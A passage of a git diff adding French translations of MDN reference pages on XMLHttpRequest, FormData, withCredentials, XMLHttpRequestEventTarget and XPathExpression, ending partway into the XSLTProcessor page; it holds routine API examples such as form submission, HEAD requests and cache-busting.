+<p>Le constructeur de <a href="/en-US/docs/DOM/XMLHttpRequest/FormData" title="DOM/XMLHttpRequest/FormData"><code>FormData</code></a> vous permet de compiler des paires de clé/valeur à envoyer via <code>XMLHttpRequest</code>. Il est principalement prévu pour être utilisé dans l'envoi de formulaires, mais il peut être utilisé indépendemment des formulaires dans le but de transmettre des données associées. Les données transmises sont de même format que la méthode <code>submit()</code> d'un formulaire utiliserait pour envoyer les données si l'encodage du formulaire était configuré à "multipart/form-data". Les objets FormData peuvent être utilisés de nombreuses manières avec XMLHttpRequest. Pour des exemples et des explications sur la manière d'utiliser FormData avec une XMLHttpRequest, jettez un oeil sur la page <a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="Using FormData Objects">Utiliser les Objets FormData</a>. Pour des raisons didactiques seulement, nous postons ici <strong>une</strong> <strong>traduction</strong> <strong><a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">du précédent exemple</a> transformé pour utiliser l'API <code>FormData</code></strong>. Notez la brièveté du code :</p>
+
+<div style="height: 400px; margin-bottom: 12px; overflow: auto;">
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;Sending forms with FormData &amp;ndash; MDN&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+"use strict";
+
+function ajaxSuccess () {
+  alert(this.responseText);
+}
+
+function AJAXSubmit (oFormElement) {
+  if (!oFormElement.action) { return; }
+  var oReq = new XMLHttpRequest();
+  oReq.onload = ajaxSuccess;
+  if (oFormElement.method.toLowerCase() === "post") {
+    oReq.open("post", oFormElement.action, true);
+    oReq.send(new FormData(oFormElement));
+  } else {
+    var oField, sFieldType, nFile, sSearch = "";
+    for (var nItem = 0; nItem &lt; oFormElement.elements.length; nItem++) {
+      oField = oFormElement.elements[nItem];
+      if (!oField.hasAttribute("name")) { continue; }
+      sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+      if (sFieldType === "FILE") {
+        for (nFile = 0; nFile &lt; oField.files.length; sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+      } else if ((sFieldType !== "RADIO" &amp;&amp; sFieldType !== "CHECKBOX") || oField.checked) {
+        sSearch += "&amp;" + escape(oField.name) + "=" + escape(oField.value);
+      }
+    }
+    oReq.open("get", oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&amp;/, "?")), true);
+    oReq.send(null);
+  }
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;h1&gt;Sending forms with FormData&lt;/h1&gt;
+
+&lt;h2&gt;Using the GET method&lt;/h2&gt;
+
+&lt;form action="register.php" method="get" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h2&gt;Using the POST method&lt;/h2&gt;
+&lt;h3&gt;Enctype: application/x-www-form-urlencoded (default)&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Registration example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;h3&gt;Enctype: text/plain&lt;/h3&gt;
+
+&lt;p&gt;The text/plain encoding is not supported by the FormData API.&lt;/p&gt;
+
+&lt;h3&gt;Enctype: multipart/form-data&lt;/h3&gt;
+
+&lt;form action="register.php" method="post" enctype="multipart/form-data" onsubmit="AJAXSubmit(this); return false;"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Upload example&lt;/legend&gt;
+    &lt;p&gt;
+      First name: &lt;input type="text" name="firstname" /&gt;&lt;br /&gt;
+      Last name: &lt;input type="text" name="lastname" /&gt;&lt;br /&gt;
+      Sex:
+      &lt;input id="sex_male" type="radio" name="sex" value="male" /&gt; &lt;label for="sex_male"&gt;Male&lt;/label&gt;
+      &lt;input id="sex_female" type="radio" name="sex" value="female" /&gt; &lt;label for="sex_female"&gt;Female&lt;/label&gt;&lt;br /&gt;
+      Password: &lt;input type="password" name="secret" /&gt;&lt;br /&gt;
+      What do you prefer:
+      &lt;select name="image_type"&gt;
+        &lt;option&gt;Books&lt;/option&gt;
+        &lt;option&gt;Cinema&lt;/option&gt;
+        &lt;option&gt;TV&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Post your photos:
+      &lt;input type="file" multiple name="photos[]"&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input id="vehicle_bike" type="checkbox" name="vehicle[]" value="Bike" /&gt; &lt;label for="vehicle_bike"&gt;I have a bike&lt;/label&gt;&lt;br /&gt;
+      &lt;input id="vehicle_car" type="checkbox" name="vehicle[]" value="Car" /&gt; &lt;label for="vehicle_car"&gt;I have a car&lt;/label&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      Describe yourself:&lt;br /&gt;
+      &lt;textarea name="description" cols="50" rows="8"&gt;&lt;/textarea&gt;
+    &lt;/p&gt;
+    &lt;p&gt;
+      &lt;input type="submit" value="Submit" /&gt;
+    &lt;/p&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<div class="note"><strong>Note:</strong> Comme déjà dit, les objets<strong> {{domxref("FormData")}} ne sont pas des objets <a href="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify" title="/en-US/docs/JavaScript/Reference/Global_Objects/JSON/stringify">chainifiables</a></strong>. Si vous voulez chainifier les données soumises, utilisez <a href="#A_little_vanilla_framework" title="#A_little_vanilla_framework">l'exemple précédent en <em>pure</em>-AJAX</a>. Notez également que, bien que dans cet exemple il y a quelques champs <code>file</code> {{ HTMLElement("input") }}, <strong>quand vous soumettez un formulaire via l'API <code>FormData</code> vous n'avez pas besoin d'utiliser l'API <a href="/en-US/docs/DOM/FileReader" title="/en-US/docs/DOM/FileReader"><code>FileReader</code></a> également </strong>: les fichiers sont automatiquement chargés et transférés.</div>
+
+<h2 id="Récupérer_la_date_de_modification">Récupérer la date de modification</h2>
+
+<pre class="brush: js">function getHeaderTime () {
+  alert(this.getResponseHeader("Last-Modified"));  /* Une chaine valide GMTString ou null */
+}
+
+var oReq = new XMLHttpRequest();
+oReq.open("HEAD" /* utilisez HEAD seulement si vous ne voulez que les headers ! */, "mapage.html", true);
+oReq.onload = getHeaderTime;
+oReq.send();</pre>
+
+<h3 id="Faire_quelque_chose_quand_la_date_de_dernière_modification_change">Faire quelque chose quand la date de dernière modification change</h3>
+
+<p>Créons deux fonctions:</p>
+
+<pre class="brush: js">function getHeaderTime () {
+
+  var
+    nLastVisit = parseFloat(window.localStorage.getItem('lm_' + this.filepath)),
+    nLastModif = Date.parse(this.getResponseHeader("Last-Modified"));
+
+  if (isNaN(nLastVisit) || nLastModif &gt; nLastVisit) {
+    window.localStorage.setItem('lm_' + this.filepath, Date.now());
+    isFinite(nLastVisit) &amp;&amp; this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* utilisons HEAD - nous ne voulons que les Headers ! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}</pre>
+
+<p>Test:</p>
+
+<pre class="brush: js">/* Testons le fichier "mapage.html"... */
+
+ifHasChanged("mapage.html", function (nModif, nVisit) {
+  alert("La page '" + this.filepath + "' a été changée le " + (new Date(nModif)).toLocaleString() + "!");
+});</pre>
+
+<p>Si vous voulez savoir <strong>si la <em>page courante</em> a changée</strong>, lisez l'article à propos de la propriété <a href="/en-US/docs/Web/API/document.lastModified" style="line-height: 1.5;" title="/en-US/docs/Web/API/document.lastModified"><code style="font-size: 14px;">document.lastModified</code></a><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="Cross-site_XMLHttpRequest">Cross-site XMLHttpRequest</h2>
+
+<p>Les navigateurs récents supportent les requêtes cross-site en implémentant le Standard <a href="/en-US/docs/HTTP_access_control" title="HTTP access control">Access Control for Cross-Site Requests</a> (Web Application Working Group).  Tant que le serveur est configuré pour autoriser les requêtes depuis l'origine de votre web application, <code>XMLHttpRequest</code> fonctionnera. Sinon, une exception <code>INVALID_ACCESS_ERR</code> sera lancée.</p>
+
+<h2 id="Contourner_le_cache">Contourner le cache</h2>
+
+<p><span style="line-height: 1.572;">Une approche cross-browser pour contourner le cache est d'ajouter le timestamp à l'URL, en étant sûr d'inclure un "?" ou un "&amp;" selon les cas. Par exemple :</span></p>
+
+<pre>http://foo.com/bar.html -&gt; http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -&gt; http://foo.com/bar.html?foobar=baz&amp;12345
+</pre>
+
+<p>Comme le cache local est indexé selon les URL, celà permet à toutes les requêtes d'être uniques, et du coup de contourner le cache.</p>
+
+<p>Vous pouvez automatiquement ajuster les URL en utilisant le code suivant :</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&amp;" : "?") + (new Date()).getTime(), true);
+oReq.send(null);</pre>
+
+<h2 id="Sécurité">Sécurité</h2>
+
+<p>{{fx_minversion_note(3, "Les versions de Firefox avant Firefox 3 autorisaient à mettre les préférences <code>capability.policy.&lt;policyname&gt;.XMLHttpRequest.open&lt;/policyname&gt;</code> à <code>allAccess</code> pour donner l'accès cross-sites à des sites spécifiques. Cela n'est plus possible.")}}</p>
+
+<p>{{fx_minversion_note(5, "Les versions de Firefox avant Firefox 5 pouvaient utiliser <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> pour demander un accès cross-site. Ce n'est plus supporté, me^me si cela ne produit aucun avertissement et que la demande de permission est toujours présente.")}}</p>
+
+<p>La manière recommandée d'activer les requêtes cross-sites est d'utiliser le header HTTP <code>Access-Control-Allow-Origin </code> dans la réponse du XMLHttpRequest.</p>
+
+<h3 id="XMLHttpRequests_stoppées">XMLHttpRequests stoppées</h3>
+
+<p>Si vous vous retrouvez avec une XMLHttpRequest ayant <code style="font-size: 14px;">status=0</code> et <code style="font-size: 14px;">statusText=null</code>, cela signifie que la requête n'a pas été autorisée à être effectuée. Elle a été <code style="font-size: 14px;"><a href="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent" title="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent">UNSENT</a></code>. Une cause probable est lorsque <a href="http://www.w3.org/TR/XMLHttpRequest/#xmlhttprequest-origin" style="line-height: 1.5; text-decoration: underline; outline: dotted 1px; outline-offset: 0pt;">l'origine <code style="font-size: 14px;">XMLHttpRequest</code> </a><span style="line-height: 1.5;"> (lors de la création de l'objet XMLHttpRequest) a changé quand l'objet XMLHttpRequest est déjà </span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">open()</span><span style="line-height: 1.5;">. Ce cas peut se produire par exemple lorsque l'on a une XMLHttpRequest qui est lancée sur un évènement onunload d'une fenêtre: l'objet XMLHttpRequest est en fait créé lorsque la fenêtre sur le point de se fermer est toujours là, et la demande est envoyée (c'est à dire </span><span style="font-family: courier new,andale mono,monospace; line-height: normal;">open()</span><span style="line-height: 1.5;">) lorsque cette fenêtre a perdu son focus et une autre fenêtre a potentiellement pris le focus. La manière d'éviter ce problème est de fixer un écouteur sur l'évènement </span><span style="line-height: 1.5;">"activate" </span><span style="line-height: 1.5;">de la nouvelle fenêtre qui se lance quand l'ancienne fenêtre a son événement "unload" lancé.</span></p>
+
+<h2 id="Utiliser_XMLHttpRequest_depuis_un_module_JavaScript_un_composant_XPCOM">Utiliser XMLHttpRequest depuis un module JavaScript / un composant XPCOM</h2>
+
+<p>Instancier une <code>XMLHttpRequest</code> depuis un <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">module JavaScript</a> ou un composant XPCOM fonctionne un peu différemment; on ne peut pas l'instancier via le constructeur <code>XMLHttpRequest()</code>. Le constructeur n'est pas défini dans le composant et le code retourne une erreur. Le meilleur moyen de fixer le problème est d'utiliser le constructeur du composant XPCOM.</p>
+
+<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+</pre>
+
+<p>Malheureusement dans les versions de Gecko avant Gecko 16 il y a un bug : les requêtes créées ainsi peuvent être annulées sans raison. Si votre code doit marcher sur Gecko 15 ou moins, vous pouvez utiliser le constructeur XMLHttpRequest depuis le DOM caché de la fenêtre comme ceci :</p>
+
+<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ol>
+ <li><a href="/en-US/docs/AJAX/Getting_Started" title="AJAX/Getting_Started">MDN AJAX introduction</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control" title="HTTP access control">HTTP access control</a></li>
+ <li><a href="/en-US/docs/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL" title="How to check the security state of an XMLHTTPRequest over SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Apple developers' reference</a></li>
+ <li><a href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Specification</a></li>
+ <li><a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">Web Progress Events specification</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest">XMLHttpRequest (Référence Web API)</a></li>
+</ol>
diff --git a/files/fr/web/api/xmlhttprequest/withcredentials/index.html b/files/fr/web/api/xmlhttprequest/withcredentials/index.html
new file mode 100644
index 0000000000..bc95a84280
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/withcredentials/index.html
@@ -0,0 +1,56 @@
+---
+title: XMLHttpRequest.withCredentials
+slug: Web/API/XMLHttpRequest/withCredentials
+tags:
+  - API
+  - Propriété
+  - Reference
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/withCredentials
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>La propriété <code><strong>XMLHttpRequest.withCredentials</strong></code> est un booléen qui indique si une requête <code>Access-Control</code> entre plusieurs sites devrait être réalisée avec des informations d'authentification (<em>credentials</em>) telles que des cookies, des en-têtes d'autorisation ou des certificats clients. Activer <code>withCredentials</code> n'aura aucun impact sur les requêtes effectuées sur un même site.</p>
+
+<p>Cette propriété est également utilisée afin d'indiquer lorsque les cookies doivent être ignorés pour une réponse. Par défaut, la valeur est à <code>false</code>. Une requête <code>XMLHttpRequest</code> d'un autre domaine ne pourra pas définir de cookies pour cet autre domaine à moins que <code>withCredentials</code> vaille <code>true</code> avant la requête.</p>
+
+<p>Les cookies tiers obtenus lorsque <code>withCredentials</code> vaut <code>true</code> continuent de respecter la règle de même origine et ne peuvent donc pas être manipulés en script via <code><a href="/fr/docs/Web/API/Document/cookie">document.cookie</a></code> ou depuis les en-têtes de la réponse.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette propriété n'a aucun impact pour les requêtes effectuées sur le même site.</p>
+</div>
+
+<div class="note">
+<p><strong>Note :</strong> Les réponses<strong> </strong><code>XMLHttpRequest</code> provenant d'un domaine différent ne peuvent pas définir de cookies pour ce domaine à moins d'avoir <code>withCredentials</code> à <code>true</code> avant l'envoi de la requête (quelle que soit la valeur de l'en-tête <code>Access-Control-</code>).</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/', true);
+xhr.withCredentials = true;
+xhr.send(null);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-withcredentials-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.XMLHttpRequest.withCredentials")}}</p>
diff --git a/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.html
new file mode 100644
index 0000000000..3a5f635aca
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -0,0 +1,62 @@
+---
+title: XMLHttpRequest()
+slug: Web/API/XMLHttpRequest/XMLHttpRequest
+tags:
+  - API
+  - Accès serveur
+  - Besoin d'exemples
+  - Compatibilité des navigateurs
+  - Constructeur
+  - Créer un XMLHttpRequest
+  - Lire des données
+  - Reference
+  - Récupérer des données
+  - XHR
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
+---
+<div>{{draft}}{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">Le constructeur <code><strong>XMLHttpRequest()</strong></code> crée une nouvelle instance {{domxref("XMLHttpRequest")}}.</span></p>
+
+<p>Pour plus de détails sur l'utilisation de <code>XMLHttpRequest</code>, voir <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest();
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un nouvel objet {{domxref("XMLHttpRequest")}}. L'objet doit être au minimum initialisé par l'appel de {{domxref("XMLHttpRequest.open", "open()")}} avant d'appeler {{domxref("XMLHttpRequest.send", "send()")}} pour envoyer la requête au serveur.</p>
+
+<h2 id="La_syntaxe_de_Firefox_non-standard">La syntaxe de Firefox non-standard</h2>
+
+<p>Firefox 16 a ajouté un paramètre non standard au constructeur qui peut activer le mode anonyme (voir {{Bug("692677")}}). Mettre le drapeau <code>mozAnon</code> à <code>true</code> revient à être identique au constructeur <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> décrit dans de vieilles versions des  specifications de XMLHttpRequest.</p>
+
+<pre class="syntaxbox">const <var>request</var> = new XMLHttpRequest(<var>paramsDictionary</var>);</pre>
+
+<h3 id="Paramètres_non_standard">Paramètres (non standard)</h3>
+
+<dl>
+ <dt><code>objParameters</code> {{gecko_minversion_inline("16.0")}}</dt>
+ <dd>Il y a deux drapeaux qui peuvent être activés
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Booléen: Mettre ce drapeau à <code>true</code> évitera au navigateur d'exposer le {{Glossary("origin")}} and <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">credentials de l'utilisateur</a> lors de la récupération des ressources. Plus important, cela signifie que les {{Glossary("Cookie", "cookies")}} ne seront pas envoyés, sauf si ils sont clairement ajoutés en utilisant setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Booléen: Mettre ce drapeau à <code>true</code> autorise les connections cross-site sans requérir le serveur à utiliser {{Glossary("CORS")}}. <em>Paramètre requis </em>:<em> <code>mozAnon: true</code>, i.e. cela ne peut pas être combiné avec l'envoi de cookies ou d'autres identifiants utilisateurs. Cela fonctionne seulement sur les applications autorisées ({{Bug("692677")}}); ne marche pas sur les pages chargées arbitraitement dans Firefox</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Utiliser XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML dans XMLHttpRequest</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequesteventtarget/index.html b/files/fr/web/api/xmlhttprequesteventtarget/index.html
new file mode 100644
index 0000000000..a47661ac70
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequesteventtarget/index.html
@@ -0,0 +1,67 @@
+---
+title: XMLHttpRequestEventTarget
+slug: Web/API/XMLHttpRequestEventTarget
+tags:
+  - AJAX
+  - API
+  - NeedsBrowserCompatibility
+  - NeedsContent
+  - Reference
+  - TopicStub
+  - XMLHttpRequest
+translation_of: Web/API/XMLHttpRequestEventTarget
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code>XMLHttpRequestEventTarget</code> est l'interface qui décrit les gestionnaires d'événements que vous pouvez implémenter dans un objet qui gérera les événements pour un {{ domxref("XMLHttpRequest") }}.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onabort") }}</dt>
+ <dd>Contient la fonction à appeler lorsqu'une demande est abandonnée et que l'événement {{event('abort')}} est reçu par cet objet.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onerror") }}</dt>
+ <dd>Contient la fonction à appeler lorsqu'une demande rencontre une erreur et que l'événement {{event('error')}} est reçu par cet objet.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onload") }}</dt>
+ <dd>Contient la fonction à appeler lorsqu'une requête HTTP revient après avoir récupéré le contenu avec succès et que l'événement {{event('load')}} est reçu par cet objet.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onloadstart") }}</dt>
+ <dd>Contient la fonction qui est appelée lorsque la requête HTTP commence à charger des données et que l'événement {{event('loadstart')}} est reçu par cet objet.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onprogress") }}</dt>
+ <dd>Contient la fonction qui est appelée périodiquement avec des informations sur l'avancement de la demande et l'événement {{event('progress')}} est reçu par cet objet.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.ontimeout") }}</dt>
+ <dd>Contient la fonction qui est appelée si l'événement expire et que l'événement {{event("timeout")}} est reçu par cet objet ; cela ne se produit que si un délai d'attente a été préalablement établi en définissant la valeur de l'attribut timeout de l'objet XMLHttpRequest.</dd>
+ <dt>{{ domxref("XMLHttpRequestEventTarget.onloadend") }}</dt>
+ <dd>Contient la fonction qui est appelée lorsque le chargement est terminé, même si la demande a échoué, et que l'événement {{event('loadend')}} est reçu par cet objet.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité sur cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site https://github.com/mdn/browser-compat-data et nous envoyer une demande d'extraction.</div>
+
+<p>{{Compat("api.XMLHttpRequestEventTarget")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("XMLHttpRequest") }}</li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+</ul>
diff --git a/files/fr/web/api/xmlhttprequesteventtarget/onload/index.html b/files/fr/web/api/xmlhttprequesteventtarget/onload/index.html
new file mode 100644
index 0000000000..33c90dabc2
--- /dev/null
+++ b/files/fr/web/api/xmlhttprequesteventtarget/onload/index.html
@@ -0,0 +1,56 @@
+---
+title: XMLHttpRequestEventTarget.onload
+slug: Web/API/XMLHttpRequestEventTarget/onload
+translation_of: Web/API/XMLHttpRequestEventTarget/onload
+---
+<p> </p>
+
+<div>{{APIRef("XMLHttpRequest")}}</div>
+
+<p>The <strong><code>XMLHttpRequestEventTarget.onload</code></strong> is the function called when an {{domxref("XMLHttpRequest")}} transaction completes successfully.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><em>XMLHttpRequest</em>.onload = <em>callback</em>;</pre>
+
+<h3 id="Values">Values</h3>
+
+<ul>
+ <li><code><em>callback</em></code> is the function to be executed when the request completes successfully. It receives a {{domxref("ProgressEvent")}} object as its first argument. The value of <em>this</em> (i.e. the context) is the same {{domxref("XMLHttpRequest")}} this callback is related to.</li>
+</ul>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush: js notranslate">var xmlhttp = new XMLHttpRequest(),
+  method = 'GET',
+  url = 'https://developer.mozilla.org/';
+
+xmlhttp.open(<em>method</em>, <em>url</em>, true);
+xmlhttp.onload = function () {
+  // Do something with the retrieved data ( found in xmlhttp.response )
+};
+xmlhttp.send();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onload')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequestEventTarget.onload")}}</p>
diff --git a/files/fr/web/api/xpathexpression/index.html b/files/fr/web/api/xpathexpression/index.html
new file mode 100644
index 0000000000..8c39da4897
--- /dev/null
+++ b/files/fr/web/api/xpathexpression/index.html
@@ -0,0 +1,20 @@
+---
+title: XPathExpression
+slug: Web/API/XPathExpression
+tags:
+  - API
+  - DOM
+  - Document
+  - XPath
+translation_of: Web/API/XPathExpression
+---
+<p>{{APIRef}}</p>
+
+<p>Une <code>XPathExpression</code> est une requête de XPath compilé renvoyée par {{domxref("document.createExpression()")}}. Elle a une méthode <code>evaluate()</code> qui peut être utilisée pour exécuter le XPath compilé.</p>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<ul>
+ <li>evaluate (<code>contextNode</code>, <code>type</code>, <code>result</code>) - fournit un noeud / document contextuel, une constante {{domxref("XPathResult")}} et <code>XPathResult</code> pour stocker la requête ou null pour renvoyer un nouveau XPathResult.</li>
+ <li>evaluateWithContext (<code>contextNode</code>, <code>contextPosition</code>, <code>contextSize</code>, <code>type</code>, <code>result</code>) - fournit un noeud / document, une position et une taille contextuels, une constante <code>XPathResult</code> et un <code>XPathResult</code> pour stocker la requête ou null pour renvoyer un nouveau XPathResult.</li>
+</ul>
diff --git a/files/fr/web/api/xsltprocessor/index.html b/files/fr/web/api/xsltprocessor/index.html
new file mode 100644
index 0000000000..379e132c35
--- /dev/null
+++ b/files/fr/web/api/xsltprocessor/index.html
@@ -0,0 +1,187 @@
+---
+title: XSLTProcessor
+slug: Web/API/XSLTProcessor
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Reference
+  - TopicStub
+  - XSLT
+translation_of: Web/API/XSLTProcessor
+---
+<div>{{APIRef("XSLT")}}</div>
+
+<p>Un <strong><code>XSLTProcessor</code></strong> applique une transformation de feuille de style <a href="/en-US/docs/Web/XSLT">XSLT</a> à un document XML pour générer un nouveau document XML. Il fait appel à des méthodes pour charger la feuille de style XSLT, donner des valeurs aux paramètres <code>&lt;xsl:param&gt;</code> et pour appliquer les transformations au document.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Le constructeur n'a pas de paramètre.</p>
+
+<pre class="syntaxbox notranslate">new XSLTProcessor()</pre>
